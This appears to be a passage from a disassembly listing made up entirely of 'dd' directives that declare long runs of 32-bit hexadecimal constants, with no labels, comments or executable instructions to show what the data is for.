		dd 0DB697D83h, 8A28288Dh, 0BC405F33h, 0D43E7904h, 1704F630h
		dd 61AB81B3h, 0F571B475h, 47292CEAh, 86294536h,	182E65E4h
		dd 2982D869h, 0D623A6F5h, 25E68926h, 0A59A1C22h, 71A5DBF3h
		dd 0AD5B09DBh, 96BCC2Bh, 10BF7044h, 0DC543B4Dh,	6E17EBF9h
		dd 21EB748Ah, 6D9E6A98h, 64520FF7h, 6C476A8Ch, 500E5655h
		dd 892C6FA6h, 2A4D2CF1h, 9B66D62Eh, 7204404h, 0BE7793BFh
		dd 618B4B62h, 47E4DDE1h, 0F0E48F72h, 0B9721427h, 4FCFB50Eh
		dd 0EF9E2339h, 307434D4h, 0DACE8D14h, 0E5997604h, 0E84D02DEh
		dd 0D303CCF9h, 0C2B77250h
		dd 8176D30Fh, 0AAEC817Eh, 0CFE951D4h, 0C2D3DD17h, 0EC300EE7h
		dd 0CFA7E526h, 11932761h, 0A0555443h, 2C2E4A04h, 0E45BEC69h
		dd 4C4085A7h, 6F8D0144h, 83D3475Fh, 0BE2FFDC1h,	54B48E68h
		dd 767D0181h, 4E2C7A1Eh, 2440B8F2h, 0B39A8B36h,	0DF23EBBBh
		dd 0BEB11ACh, 0CE24989h, 0A479AFEBh, 60CF43Dh, 9F747F92h
		dd 4701BB8Dh, 6044E2A1h, 0C8DB44Eh, 85616570h, 0B75ABDDBh
		dd 4C5FCE47h, 617D1836h, 81C6A53Bh, 0C5A1CCFEh,	6A943EC6h
		dd 0AC39FE60h, 30B71525h, 0DB8117C7h, 7EF43AEh,	401A7F78h
		dd 52E714AAh, 0DDEC1EF8h, 66F7383Ch, 1BF52EDAh,	64300D3h
		dd 5D2E2F8Dh, 2CC3E849h, 544469BCh, 4166E9F7h, 1907C776h
		dd 0B98CFF63h, 4279559Eh, 0FEB887BEh, 0FE447Bh,	0FBDCDC74h
		dd 55237B0h, 97DA8F5Ch,	29B05461h, 27677C63h, 0AEF826A6h
		dd 0B4F08783h, 0A7195E81h, 0DB0CB717h, 6E6F81C4h, 7FB17854h
		dd 3DEC51A1h, 4E7E52D2h, 0F8C874EEh, 2AF932B2h,	8A1A59C0h
		dd 27812DC5h, 21D7478Bh, 718FC9A6h, 0C156885Fh,	3EB314BFh
		dd 338898A1h, 0FCFF01B3h, 287F7886h, 201C6FFh, 93A1C63Bh
		dd 5EA2252h, 16B316A7h,	0F70FBB74h, 6B0FCDCEh, 0EC8FFA2Fh
		dd 0EE95DE52h, 0CF931AE9h, 0EE9AF32Ah, 72274A4Fh, 1EAB2495h
		dd 0C9A8C21h, 0AB0DE3D4h, 6AE13FDh, 4656E9A9h, 0B5757A00h
		dd 9138F058h, 3E99D636h, 7F9B1C2Eh, 65174F7h, 0E22E012Ch
		dd 0E9DE091h, 94966A54h, 0BF9E9DBFh, 9E1B1A9Bh,	0EE596E68h
		dd 0EC2C19E3h, 0F1E9127Ah, 7B6E629Eh, 9C0416B7h, 769E14ABh
		dd 73ADA6Fh, 0F494F366h, 42D060C9h, 0E6C56490h,	0EBB850D0h
		dd 70381F61h, 0ED492AD7h, 0CCFAC8E2h, 7096B68Eh, 4B8DE63Eh
		dd 11BB2B79h, 0E358500Bh, 89DD9F8Eh, 4009E6D0h,	229222DFh
		dd 3D673F30h, 459EF486h, 97D83E16h, 0CFC908F4h,	748928EBh
		dd 63B6C764h, 0AAAFFC32h, 179111C0h, 39DCABC3h,	7F6096EEh
		dd 7BFD0AC0h, 0E98D7063h, 0D5D0AB4Ch, 58CEC2B4h, 0C5BEC29Ah
		dd 93856707h, 79B56889h, 3D16A428h, 8E67F108h, 0A7816FD4h
		dd 96746FF6h, 87827B67h, 0E6C74DAFh, 6ECBD5D1h,	9AAD5942h
		dd 0CE796663h, 0C195974Bh, 17D46237h, 597184E6h, 0A617DF07h
		dd 31EC7A23h, 0E056714h, 0D94866ADh, 871E60CBh,	767C53C8h
		dd 112EE0A1h, 860D54ACh, 870A6989h, 14B7794Ch, 2F55FF4Bh
		dd 0C654239Dh, 9532881h, 0D20924E7h, 82080647h,	6DFEB8C1h
		dd 0C4576F10h, 7E66748Dh, 566A5F70h, 210CB21h, 689AF9ABh
		dd 0D864ADD8h, 0EB6B10A2h, 0A2F34E35h, 2FDF2BB9h, 4A4BF71Dh
		dd 0A1E38E96h, 660B4697h, 0CCCCBC29h, 0B0E4B658h, 0D80238BAh
		dd 1F17A893h, 28336E10h, 0CB7775F7h, 0BE94C688h, 0E9F7281h
		dd 0E42EABBDh, 2728D6Eh, 0D106116Eh, 0EC69BE69h, 47B51E3Dh
		dd 1188125Fh, 150F2B5Dh, 43668F0Ah, 0D9F9070Ah,	96CB669Eh
		dd 7E7EFDCCh, 0C4ED849Ah, 7EBD4666h, 3E832251h,	0F04D148Eh
		dd 0EA096277h, 75618282h, 5DC00BD7h, 3936B67Fh,	0D93CF3C0h
		dd 0DD6D5165h, 444FC319h, 8CECB2D4h, 0B4FB17A0h, 0FAAA13ABh
		dd 0C2890F97h, 2EA25755h, 0FC4C13EDh, 49C4152Ch, 183C301Ch
		dd 318400C6h, 409B6766h, 0D63CA7C9h, 0D5F024A7h, 4596A963h
		dd 28EF22B5h, 0FE04CBEAh, 1ACABE3Ah, 0DCEAF50Eh, 0DF4DEFA3h
		dd 0B9B17D50h, 5A1D0605h, 7D670E15h, 0B3D08F94h, 7945C959h
		dd 170DC126h, 0C1C4B9B3h, 0F1F80D2Ah, 0E2D26F4Ch, 84D32898h
		dd 0E99E3588h, 0F950C9BCh, 5CD28ED3h, 77E87016h, 0E1E9C37Fh
		dd 0F7244F6Ah, 3C055A56h, 0A0C58FE9h, 5EBFFE13h, 632F60E9h
		dd 0E2D5C29Ah, 0F99E712Ch, 0AE343000h, 0A98056E0h, 7D352E69h
		dd 6DE48AEFh, 7051F6E3h, 7D21Dh, 0E8EB1E17h, 73116923h
		dd 0B41C6A17h, 9D6F4D41h, 0C8963A60h, 59E21A06h, 0C778A8ABh
		dd 8CF40D6Fh, 0FEA70E4Ah, 0DE220D06h, 98A507BEh, 0D2937D00h
		dd 0ECDB2F89h, 0F3ED8E8Ah, 5645435Fh, 0CFD36764h, 3792C16h
		dd 0E4C19699h, 4A20B3Dh, 8AF76FCEh, 0F7E5DC14h,	0A54BC275h
		dd 0DE2A08CFh, 0C0E7EE7Eh, 0B10CCDFFh, 664DCBACh, 16806E13h
		dd 0B557D68h, 748EA20Ah, 0A433D62Bh, 21F47h, 0CCA70670h
		dd 9301A05Dh, 6B700390h, 44A04627h, 0EFDB1A3Ah,	0BBBE8DECh
		dd 0CC36B7C8h, 528C8B6Ah, 7B012F6Fh, 0E29AF6Eh,	0CA3949C6h
		dd 0B12F8947h, 93B1D6DBh, 7CA741B9h, 6D580430h,	40DB00CFh
		dd 0C25C5E9Eh, 3438CB1Eh, 0E6E244ABh, 0C60F7B07h, 0C57C6700h
		dd 0F610B64Bh, 3573850Bh, 9AECECC6h, 188B2DE0h,	6E8422F1h
		dd 0C3208CA4h, 0D0A36B80h, 0DF5C300Dh, 0B1CDBF8Bh, 7DBA0EC6h
		dd 2ED5F77Dh, 325D93A8h, 0B89132C3h, 0D4CAD926h, 665A7F42h
		dd 2EDEE0E6h, 931700BAh, 0FA459C08h, 764D4D07h,	66D5DADh
		dd 0D115439Eh, 0A3782A12h, 0DD8192C5h, 47037294h, 0C86349D4h
		dd 2382CA49h, 5B20A02Eh, 16CCF9DFh, 0F0CECCD3h,	0CC20DA07h
		dd 0E4BFBEC4h, 0ABEC8C03h, 0EA7C4E51h, 0DE6CB772h, 92400529h
		dd 0E16124A7h, 0EBE31C96h, 0DF13BF5Fh, 96E36DBDh, 0F0A88323h
		dd 6C85BE7Ah, 67A42022h, 89FC935Dh, 0F33DB5C4h,	91DD583Bh
		dd 9749A2A4h, 455BDDEDh, 8DFFB3B9h, 0E7EAF58h, 5A9530D0h
		dd 0FB26E1Ah, 97ED58B7h, 598C35B4h, 0B28D6100h,	5787FECEh
		dd 9EE706D5h, 9A740369h, 0C989ACC3h, 946B64CFh,	9C72F2E9h
		dd 65F7A29Ah, 1F0E5F6Eh, 2D7908FAh, 0FACB305Bh,	0D1209E3Fh
		dd 5C2BF269h, 0C2B87EE6h, 0A6B18652h, 0EB7A259Bh, 32BFF113h
		dd 67B48D0Ch, 4251CE0Ch, 9ECB02D9h, 0D024A32Dh,	1187B97Fh
		dd 41398D05h, 0B94E380Dh, 86872FADh, 0F1C0CD53h, 0A2E965C9h
		dd 0F551AE97h, 0D90A9EC9h, 90008C19h, 7709AA44h, 55CE1E6Eh
		dd 252CAC8Dh, 4739A707h, 0C67892D7h, 9CB3D5CFh,	30654D7Eh
		dd 0CD78D387h, 362DD3F8h, 0B9327CCFh, 620B73DCh, 6AE31FAh
		dd 67EB4F9Ah, 0AC3C5BA6h, 426D64A3h, 299D3C03h,	0B8095473h
		dd 9FD3D48Eh, 9553F82Ah, 0D3E20654h, 0BAA60133h, 0B22679E7h
		dd 0BF443982h, 10086BBEh, 7DF578Ah, 29F7C796h, 90361CE6h
		dd 41ACED10h, 4DCA5D41h, 6A12D9C5h, 0C783D5EBh,	4F79A785h
		dd 0C2130B17h, 1289AC71h, 1CCEE2AFh, 4B4112C8h,	2D37E843h
		dd 0E47A367Ch, 0BF0F09C2h, 1E260F6Dh, 44507EF9h, 37461E6Fh
		dd 5BD36B8Ch, 0DCCB2E9Ah, 9254AE5Bh, 74C40AA6h,	7A311308h
		dd 423F3FB0h, 198D156Eh, 0C3648B4Bh, 53E6C820h,	0C47197A0h
		dd 0DB38B173h, 9CC789EEh, 69F6D3CDh, 3B5B574Dh,	9297E6EAh
		dd 0D833319Ch, 905DE791h, 0EE7F82Ah, 0CD8DA64Dh, 48367AF3h
		dd 1052D97h, 4DD6D159h,	0C29C900Fh, 19870A75h, 0C73D0F46h
		dd 4159CCB6h, 756DEA06h, 0FC372B60h, 656C9758h,	0C33E2749h
		dd 80A6BA82h, 0BA063A98h, 0DE903B87h, 61944828h, 83F012DFh
		dd 3635710Ch, 44F194D2h, 0E27840F4h, 74EAAB1h, 81B5A512h
		dd 0B0D71536h, 51F9E809h, 0C1F7344Bh, 5474C5A3h, 0AA74516Bh
		dd 1FA1A94Ch, 0D95CF476h, 92BE8A91h, 45D0B1D7h,	0BE863AE8h
		dd 0DA755D43h, 1BA8ADDBh, 6649C9A2h, 8862B16Ah,	0C9A4CFAh
		dd 0C0CAE619h, 0ECEC981h, 4F030753h, 0E31C760Dh, 366E0BB0h
		dd 0B8371C49h, 0E4DCBC0Eh, 28483687h, 0CB3AEA73h, 0B7B46DAEh
		dd 0A531215Bh, 3A5AFD1Ah, 0E62303D1h, 55534D6h,	597DA1A9h
		dd 0FE75530Bh, 0A732C9Ah, 4BF79345h, 0CBE5D5A1h, 9991701Eh
		dd 0A03427A5h, 1B36EF6Bh
		dd 0BDBDEAFDh, 82C95CB7h, 0D6E74305h, 574C8D45h, 26D976F4h
		dd 1A119638h, 0F47F9E6Eh, 1A52A9F6h, 7851FF4Fh,	0B2FCC035h
		dd 6C3677A1h, 84410465h, 0D155AB89h, 1C2C739Ah,	0C4143F8Dh
		dd 31488DE4h, 0DB2B74E5h, 0CDB12AA2h, 0AEAB938Eh, 65D3FA4Fh
		dd 4357AD48h, 948F612Fh, 5E2B4859h, 0ED2E9CE4h,	0D6F266D1h
		dd 660BD695h, 4DE031Fh,	9C0424C2h, 7DC1359h, 70791097h
		dd 49C2770Fh, 0E689D316h, 3A522A1Ch, 8E28D411h,	0D8BC333h
		dd 838FAD5Eh, 0FFE0A8C5h, 0EFA28189h, 0F6EEA424h, 0D3E58382h
		dd 7EB10735h, 2E4E4209h, 0DFC15DE5h, 0A4D50832h, 0FFB121D2h
		dd 0AD87D208h, 0B4B0F464h, 5B8A0403h, 0C9BFF203h, 5D9606BDh
		dd 3F271522h, 8C2300C0h, 90ADCE8Fh, 5C3AAC7Ah, 785EF1A6h
		dd 0C98D3EB0h, 685F1F90h, 59A984A1h, 0B5E5F36Dh, 1D5EC1C3h
		dd 1DC5688h, 0BAD01DEAh, 0B38C6199h, 0B02FFE06h, 12C1DDD2h
		dd 0D5E0C3B5h, 0C70260C0h, 6B51AF7Bh, 1EE7E3DBh, 8CC242FDh
		dd 7540AD15h, 3F08FAE3h, 0AFDCC89Eh, 0E642FF15h, 0B2FA663Ah
		dd 0B83E6D80h, 0ED189BA6h, 0F571C70Bh, 5D7B3B6Fh, 0DA4F8D9Bh
		dd 0BF476E5Ch, 2E259A8Ch, 0C08B3DF7h, 4AA345A9h, 0FC9B760Fh
		dd 8461E48Eh, 3C1BE3B3h, 84ED6119h, 3B1E296Bh, 0FEEBDD41h
		dd 73D8CEC7h, 1FDD8873h, 0CAC31C1Ch, 996159D5h,	74F7A639h
		dd 0D2A9744Fh, 19EF971Bh, 4DFC0380h, 8DD19291h,	6C3A63BDh
		dd 0E32A53CCh, 0FA73DC6Fh, 0B8D3734Dh, 5DC88550h, 8C97FDB9h
		dd 0C789589Fh, 26654F1Eh, 376F257Ah, 68F7174Eh,	155F2E20h
		dd 2833C230h, 7EA10FADh, 24F73155h, 0F3D75E98h,	2DEB6910h
		dd 0C99415C8h, 2EE610D8h, 9FD974D3h, 18984223h,	0F60B132Ch
		dd 604B9431h, 3336E083h, 0D6D4E271h, 23053C5Ch,	0FB7E46A0h
		dd 9222B961h, 1C3B0957h, 4958689Ch, 0A9BCEFD8h,	0D250AFAEh
		dd 7C0C640h, 4DDC5A0Fh,	0B2968775h, 1F1A3302h, 0BBA30F94h
		dd 0D8882221h, 3002C8C6h, 166BCD76h, 0E3E40F58h, 523F0BFAh
		dd 0BDA4B450h, 0E7A89247h, 22B411C4h, 5138FFC9h, 0E6F8F6ACh
		dd 96A99502h, 0A958001Bh, 7F68A487h, 0B0B372D8h, 0F82A7070h
		dd 633B42F0h, 73EA99DCh, 9B3B055Dh, 0EE8591B8h,	0C69E1DA9h
		dd 0C7843591h, 7BB6DC4Ch, 0CEB9BD6Ah, 88A7E792h, 37D7BD0Ah
		dd 8D514A0Eh, 0C34A14E8h, 0B5E6F38Ah, 0F6AD52ADh, 0D8E3B0BBh
		dd 6D597062h, 0B7746F18h, 62F88DE4h, 0C8D14C11h, 0C79F5508h
		dd 75BFC05Eh, 12E239DBh, 3796CD19h, 34B32FBBh, 0D89259A1h
		dd 0DD8F12DEh, 5D1A87DAh, 6EBE9C8h, 6F5C69E5h, 99E6940Eh
		dd 0AECA8359h, 87BB8465h, 82997E6Ah, 28B8C430h,	0C488A56Bh
		dd 3D16DD8Eh, 478FD754h, 28FDFA7Dh, 0A9722184h,	0EAC10224h
		dd 95D389C0h, 0BBEAE87Dh, 0CFF96BADh, 0DD785882h, 0E9D31227h
		dd 6973D806h, 0F2FA6194h, 0F332196Bh, 0A8F11B84h, 791F34C9h
		dd 12B8CF18h, 0D4790066h, 84025743h, 96E996EFh,	0B19293D0h
		dd 0CDAA3CCCh, 9F05AB1Eh, 0BBC68DABh, 9D949F01h, 0EB209A7Bh
		dd 0B7A42FA7h, 0B8A21F65h, 8997FA24h, 495B6121h, 8E748537h
		dd 0EC8C7C32h, 585D2922h, 0FEF40D9h, 0A1EA796h,	37BD258Dh
		dd 6CD8A9B8h, 248EDB4Ch, 449E74C0h, 68E276BEh, 0ABDB6DC6h
		dd 1257E3F1h, 0EBAFAD2Fh, 0C9941AFCh, 0A4920149h, 7B9371h
		dd 6DDC645Bh, 85C1E2F1h, 46BCEF1Eh, 53E187BCh, 0EBA3726Eh
		dd 69834D29h, 0B3D5A9F1h, 354D20BDh, 0FF85171Eh, 0DE15E3Fh
		dd 0A6AF3C89h, 13246AC9h, 2171400Ch, 117AAAB3h,	188DC0C1h
		dd 9AC35B34h, 0E6BD69A3h, 24A2D8E2h, 9FFF95Fh, 4E370058h
		dd 2E543CB1h, 48772DD9h, 1EDAF2CAh, 9D3452C7h, 8C6E926h
		dd 58FDB7A3h, 0DD736144h, 0E60E4567h, 14FF1DDAh, 6BCB06B1h
		dd 74A16D40h, 8F9A3D62h, 0C66D79A7h, 0A608BECCh, 0FECFE645h
		dd 661CB704h, 8229FD4Ch, 21776B4h, 98D8D420h, 75A8B3FBh
		dd 0F93F9D99h, 93E6D066h, 41CA1F12h, 6C51B66Eh,	0BB7F34E9h
		dd 0B4E4B8B6h, 0BD56261Fh, 322991F7h, 1F26CD59h, 209AF2C2h
		dd 2DE62CE4h, 4557CE7Ch, 7FF8B6AEh, 0D4F4DA96h,	0B2CE8D28h
		dd 0B550AEA9h, 175140E7h, 0D01BEADCh, 3E7A20B7h, 2DEFBE17h
		dd 0FA05ADC4h, 0E100A35h, 11654486h, 569D2751h,	204763A0h
		dd 5BF74265h, 8687DDA1h, 9CD73C0Eh, 97402390h, 0C59482F1h
		dd 85EF6B80h, 0C66E9E7Fh, 587D3D9Dh, 89BED5CCh,	0A52E352Fh
		dd 33672420h, 636D8D5h,	207F9A47h, 7E100D98h, 6DBF0E6Fh
		dd 0EE9E9F89h, 2C4BF691h, 6B8840C9h, 0CD08D38Dh, 272A9CB7h
		dd 7655C8F4h, 0D0F9C4ADh, 44ABBF50h, 0D0BDC2C5h, 0DA2502BCh
		dd 325A71EEh, 4A5B40h, 0C61DE4CEh, 0AF1F0C19h, 261C7219h
		dd 0B4995D08h, 575858DAh, 435C002Dh, 5B2727A6h,	86FC0DC2h
		dd 1E043C22h, 7073F983h, 0A450B9DDh, 374D3D9Ah,	516EDBCBh
		dd 7B7191A2h, 127237CDh, 2A454788h, 296F9ABFh, 0C6431E34h
		dd 2E78ECE7h, 0ED0408F1h, 139C3506h, 9DAABA4h, 4CB2AFCFh
		dd 37A25ADFh, 252ECBA7h, 0E82FDD34h, 8DE4179Ah,	312123D0h
		dd 924EF5B9h, 2E5586A1h, 491EEBA9h, 23C0A1D4h, 121428CDh
		dd 89D8C156h, 8A729082h, 24D7A2EBh, 69714830h, 0CBA2E455h
		dd 0ECF35625h, 9888F347h, 0D5868C78h, 4983EAC8h, 1E7A0E43h
		dd 0EDFC9440h, 0CF6AA300h, 494F3573h, 9F4F84C5h, 6F7DF058h
		dd 0AA5A7F3Ah, 0B4AA2680h, 0D1A0FADBh, 0F37E2E05h, 0AE4CFA9Ah
		dd 0A4BE40B5h, 0E91034C2h, 18F0B75Dh, 2A0850CAh, 79B1964Bh
		dd 88D51D07h, 0D697113Fh, 0D7E73036h, 4E0AD4E5h, 9EE36B75h
		dd 19E9864Ch, 370A174Dh, 4C7FADBh, 3217F0A2h, 3B06E0DDh
		dd 4A2BE441h, 16607F7Ch, 0B4DE83B6h, 6A0356CDh,	0FC30E796h
		dd 69052905h, 0F2881E2Ch, 0EB92A96Dh, 9FC3799Fh, 8AB166FEh
		dd 0BBD98212h, 0EF77D6F8h, 4C60FA56h, 55B9E990h, 0A9E3AF72h
		dd 0F2E5BCA8h, 0C119467Eh, 13C0EFD9h, 0A31144AEh, 26D53514h
		dd 0ABA6EEA0h, 0AC947AF8h, 7374D930h, 51C09C12h, 0EF12FCCAh
		dd 6E13C994h, 0C14ADADDh, 397689D9h, 180603BEh,	0F627D7E9h
		dd 0F2AE296Bh, 0C5D21B5Eh, 0F00135C3h, 311BE623h, 1CBE6316h
		dd 97B166Bh, 54616D2Bh,	0C3B30A20h, 0F6BE587Dh,	22873CE5h
		dd 10217ED3h, 737A86Fh,	43215001h, 7E7FE506h, 31A2FD6Bh
		dd 9D31A69Fh, 19E6C527h, 916643D2h, 2A0E6925h, 4718B7C4h
		dd 771EB85h, 44074B5Fh,	3D5D00C6h, 9276160Dh, 1A863B01h
		dd 45616105h, 9DE0F69Eh, 8D50F059h, 0A22769AAh,	5947233Dh
		dd 0B56CE5B0h, 9E7D6467h, 0CC044138h, 6A4DC479h, 7BD0006Ah
		dd 95909DFh, 0CB0C35B1h, 77316D6Dh, 0A407DB3Dh,	11ABEF3Dh
		dd 98ABE20h, 78482C79h,	84FABDB8h, 0A2C83C46h, 62A7D092h
		dd 84A6494Bh, 0ED910D48h, 0A769A875h, 3031AC88h, 0CF0A1EB8h
		dd 572758BDh, 0C625F69Dh, 54C9C48Dh, 7DD02D41h,	3D9F8D8Dh
		dd 0C75B189Bh, 0E19F9D14h, 0D52322D5h, 0A9AFD2CAh, 0EB6F5A4Fh
		dd 0AA1BA773h, 0ACCCDFE7h, 0E9777DB1h, 324D0055h, 949C825Ch
		dd 0B2D36B67h, 7771367Dh, 0DC767F78h, 784C4767h, 0C9F1456Ch
		dd 99B20B9Fh, 90F4157Eh, 7F225B86h, 56D24E09h, 0F58EADh
		dd 6E9D044Eh, 0ABF7F6h,	0E70979A0h, 0D73342ACh,	3D56E0B1h
		dd 0BF357002h, 84389AD8h, 0EB95A2DBh, 0F1555688h, 139A89D9h
		dd 0B13E31A8h, 8C5CBD0Eh, 0CCD73A7Fh, 0C6EE5179h, 0C7F48169h
		dd 0A264CF59h, 0CEA0E7CDh
		dd 9D3FC302h, 0E02C4AEh, 24286DC3h, 0A13F7AF0h,	0B8F2808Dh
		dd 5F13979Fh, 0A21F70B9h, 0BDA4E6C3h, 148C1681h, 32E3F6D8h
		dd 9E0869D6h, 0FEE13F14h, 58F49AFFh, 48341F3Ah,	0C5DF9815h
		dd 33E02FEEh, 0F7D1A73Dh, 48115749h, 0EA83A599h, 0C8AE8E62h
		dd 69DD5CE4h, 5CB7ACE6h, 0A0694E68h, 32FBEFD1h,	0A023B05Dh
		dd 0F801FF37h, 75FD463Ch, 836C73AFh, 0B67EAE5Fh, 0EE044419h
		dd 72125B2Fh, 5874AD1Dh, 2A56DFh, 0E81DD38Dh, 2E629E6Dh
		dd 74B6DCC0h, 1C3E48F0h, 37134275h, 2142A4ACh, 8C5AD79h
		dd 44F40D1Eh, 27963A15h, 0CF89D494h, 4D2CCB25h,	48151991h
		dd 21E1E7CBh, 0D430C347h, 94462424h, 334CCE18h,	0DEA3E41Fh
		dd 0C17C360Ah, 37380A30h, 0B854F1E3h, 2F3DA8DFh, 2D1F5699h
		dd 0EA253FD2h, 0EE434F6h, 7D84B4D8h, 516FA42Dh,	0D6B3F5D9h
		dd 8D05C9BCh, 0D6E1164Dh, 5EE43967h, 0EDE94BAAh, 50E5EC63h
		dd 4F0A00B3h, 0F4828987h, 365C29B0h, 0F85363A8h, 0FCFA28C6h
		dd 105D3AD4h, 0D80553A7h, 0BEF18030h, 0D367714Dh, 0DAAD7601h
		dd 0AB91B8EBh, 0C252340h, 6565DC2Bh, 0DAD463h, 0CDFA5A29h
		dd 9AC6ADBCh, 905A6522h, 0AE77E334h, 0C94944D9h, 0B1671F24h
		dd 0D15F0E34h, 498A9AFBh, 7AEFA9F4h, 26455B5h, 71128856h
		dd 0C92A20h, 0FC773CB4h, 9F540335h, 0CF33F775h,	17CC1956h
		dd 7377D9E0h, 0CC429C9Eh, 3A1F99B7h, 9F62A7B6h,	769CE044h
		dd 2CF6E18Ah, 3D74ABF5h, 0DA1E033h, 29553E4Dh, 11B56502h
		dd 0E3DA576Ah, 82DD2874h, 7C358632h, 8E98F847h,	0BD69695Bh
		dd 38DDF77h, 0BE4D3981h, 8A45FFDEh, 0A8166450h,	3835D517h
		dd 21A44C92h, 0D309B2CCh, 2068EC39h, 0F4D85B29h, 3A6E9B48h
		dd 32870F6Ah, 792EBCA4h, 0BD564B36h, 9A8DA2EEh,	76BE5E00h
		dd 9C81742h, 0BECE4DB5h, 88365FCEh, 20331A5Dh, 0CDB2C68Bh
		dd 55613946h, 0FF7EDA1Ch, 24E52EFCh, 0C068EE10h, 0B61629D0h
		dd 20F34F35h, 5E6D5679h, 0D74940E5h, 0D2BE1CEAh, 9B15443Bh
		dd 9866162Ch, 7ABC19CEh, 3BD1550Bh, 0F0E7568Ch,	0F575C96Eh
		dd 21C60D7Fh, 408CCD38h, 279CB9C9h, 2970A45Bh, 763AFFD6h
		dd 9D2D10EFh, 35E3E658h, 0A27E9794h, 2D6BEDD3h,	86E4F6E5h
		dd 307DA1F8h, 0DE9EC2B8h, 3E481E9Fh, 5AF55E39h,	9E73A9BCh
		dd 0AB9BC91Bh, 0C420730Eh, 0BD5F21C7h, 69CA71Bh, 0ABA319BFh
		dd 24EBD6D0h, 768ED831h, 762C1E40h, 0E4E8B650h,	112972FFh
		dd 0E25CCBE6h, 0FFB7CCF8h, 3645D3D1h, 4E022C7Eh, 0E58237E7h
		dd 0CB47C3C2h, 2C944A62h, 865AA46h, 0DEF6A8E4h,	0F8302129h
		dd 38C77F77h, 4AB24DD9h, 76A248Dh, 78D743BEh, 9294A451h
		dd 89798861h, 9BA88D90h, 751434C3h, 6E3BA4E3h, 3D95FCEEh
		dd 20CFD66Eh, 2CB98950h, 7ED849F9h, 0B6D77406h,	7EF3F4E3h
		dd 0E3A2F818h, 0A54A1995h, 0AE3170EFh, 0C57519FDh, 0D2BEB212h
		dd 1DCB2547h, 39251074h, 0BA2A71EFh, 4E791CC9h,	8EA45C79h
		dd 8737C7D0h, 0B918122Eh, 5E6E4A5Ah, 0F558D283h, 0E94D6DDAh
		dd 0B8690A70h, 759D5D9Ch, 0C78A8E61h, 0B73D08CDh, 0C8EC0605h
		dd 7C420ABCh, 0FC3333CBh, 0FEAB9A79h, 0E45585D6h, 0AC4BADD7h
		dd 950EF8C7h, 87AB07DFh, 0AA05A4CDh, 5602AE9Eh,	0F5023876h
		dd 2435483Eh, 49E64211h, 2909E724h, 21DD4FD3h, 27AFFC7Eh
		dd 73839848h, 3306C328h, 32796E4Ch, 5001C24Ah, 957E9D4Dh
		dd 0CF7123A0h, 72A5D55Ah, 19AF4FE7h, 0B8F9DF6h,	3605BB43h
		dd 4F07C251h, 0E9EF9C6Eh, 0FA5E7F54h, 908A025h,	0F8ABABBAh
		dd 872D82E8h, 0DC076D28h, 4BE9A797h, 0F5758E4Ch, 4B084AEBh
		dd 3B83C9AFh, 85421AFEh, 34352C53h, 65EAA944h, 5CCF77E8h
		dd 0A563B081h, 0F41B15BDh, 1047B129h, 5FAEA4C7h, 51313BFBh
		dd 21006FDAh, 6D8838B5h, 0B7A1AB13h, 9A246992h,	173A5A09h
		dd 0C173DC12h, 0CEA09AEh, 7F5B5ED6h, 56C56F63h,	2A3EF89h
		dd 0FAA08F11h, 0B88E298Eh, 682E24D0h, 6967E74Bh, 9E9382C9h
		dd 0B6A1AEE4h, 41610ADh, 82C214Ah, 31A3CC13h, 465F831Eh
		dd 0C6C113FCh, 12EBAEEEh, 0CE11DE35h, 0D2190DA2h, 71F3BB0Eh
		dd 293FABCAh, 88AD7F75h, 8337C2C3h, 28B26C9Ah, 2609AA9Fh
		dd 0A730F293h, 0EAECFF11h, 2BB54236h, 18910275h, 32E497E2h
		dd 2689B717h, 44D558D3h, 0FCEB39B3h, 64D2318Ch,	9169F109h
		dd 3D76C599h, 0A4DFBF33h, 0E03BBC5Ah, 2AF8CEC0h, 0DE413928h
		dd 0B5B47B04h, 0E573E9C7h, 0D0C459DCh, 0B3CE6722h, 0CDEBA30Ah
		dd 63D2DAFDh, 0CF210C65h, 0A075FC97h, 0F4283746h, 4BDF3A46h
		dd 74D160FDh, 0EA888104h, 20A4D1CCh, 0FC013ADFh, 3EC85204h
		dd 327B46D0h, 88C70697h, 0B34C97FEh, 2B3995F7h,	923AC20Dh
		dd 1731AFFCh, 6C0DBCD4h, 0D131B819h, 0C708FB61h, 6763DEEBh
		dd 0D4A4C545h, 0BD9150F1h, 93E2C90h, 0B87AD5E3h, 5577B208h
		dd 0E3EA46EDh, 203F5E95h, 91C5D536h, 0CFCC960Fh, 0E744CC6Ch
		dd 0DC05373Dh, 6C87783Fh, 4D5AD752h, 0FD37D807h, 6737C412h
		dd 93DA9E5Ch, 5BBD9F7Dh, 744BC207h, 0A1F8BA6Dh,	46FC651Fh
		dd 40284FC4h, 58D41E19h, 2E6C9B79h, 0C429F732h,	7DC53FB2h
		dd 39981C6Ch, 9E28891Eh, 0BE119BDFh, 0D7F626BEh, 22C8237Fh
		dd 0BCECF47Fh, 65DC3398h, 9EADC753h, 0D6247281h, 880CB200h
		dd 6CA26266h, 9FF02E7Fh, 0A42A5DBFh, 6F37EE14h,	5FDD3321h
		dd 0ECBAF6F3h, 4B165D65h, 31D32195h, 706B772Fh,	95E90EE5h
		dd 11FCF07Ch, 389111D4h, 2E9DC683h, 28020E4Bh, 708981DCh
		dd 7D41C891h, 9C1BCA40h, 0BA2F426h, 110336CEh, 7B38C272h
		dd 88EEF7C5h, 5EED8C72h, 710089A7h, 33C20381h, 519A8A42h
		dd 0E3C75FBFh, 0D33A0935h, 0D6A7AC91h, 364EF9DEh, 0A94F1FFCh
		dd 181EEB90h, 0C0EEF473h, 0E0C0C871h, 6E2EFE70h, 8498B913h
		dd 0D23AADBBh, 0A77E1B05h, 47D89106h, 0F1BA6A2Ah, 5E25D884h
		dd 431D65DCh, 44B444E7h, 0A9F2871Fh, 18C8AE93h,	0FAA72BD1h
		dd 0A186D8BAh, 0A124D314h, 0BC8091E0h, 0EC201C52h, 7F28E0ABh
		dd 4B6DB0BFh, 16E84A73h, 0B9D349F0h, 5592874Ah,	8E60ED01h
		dd 21C4646h, 0F39E244Eh, 16E3B43h, 0E86BF430h, 0D2771ED8h
		dd 0CBDD0013h, 7F59E7EBh, 865E4CE5h, 6200A777h,	0EBEA0D79h
		dd 0C13AF5Bh, 0FDB1D03Eh, 632AADFBh, 68AC2F85h,	2437E5h
		dd 0C5900C51h, 4EF4B56h, 4680733Ah, 0A0C34B5Bh,	0D14DD9F9h
		dd 6A0CDFDDh, 0CFE5E797h, 450221F4h, 14417076h,	0D4934EA9h
		dd 0F2310C8Ch, 7D4F6272h, 0B8D958C6h, 21047AD0h, 51131888h
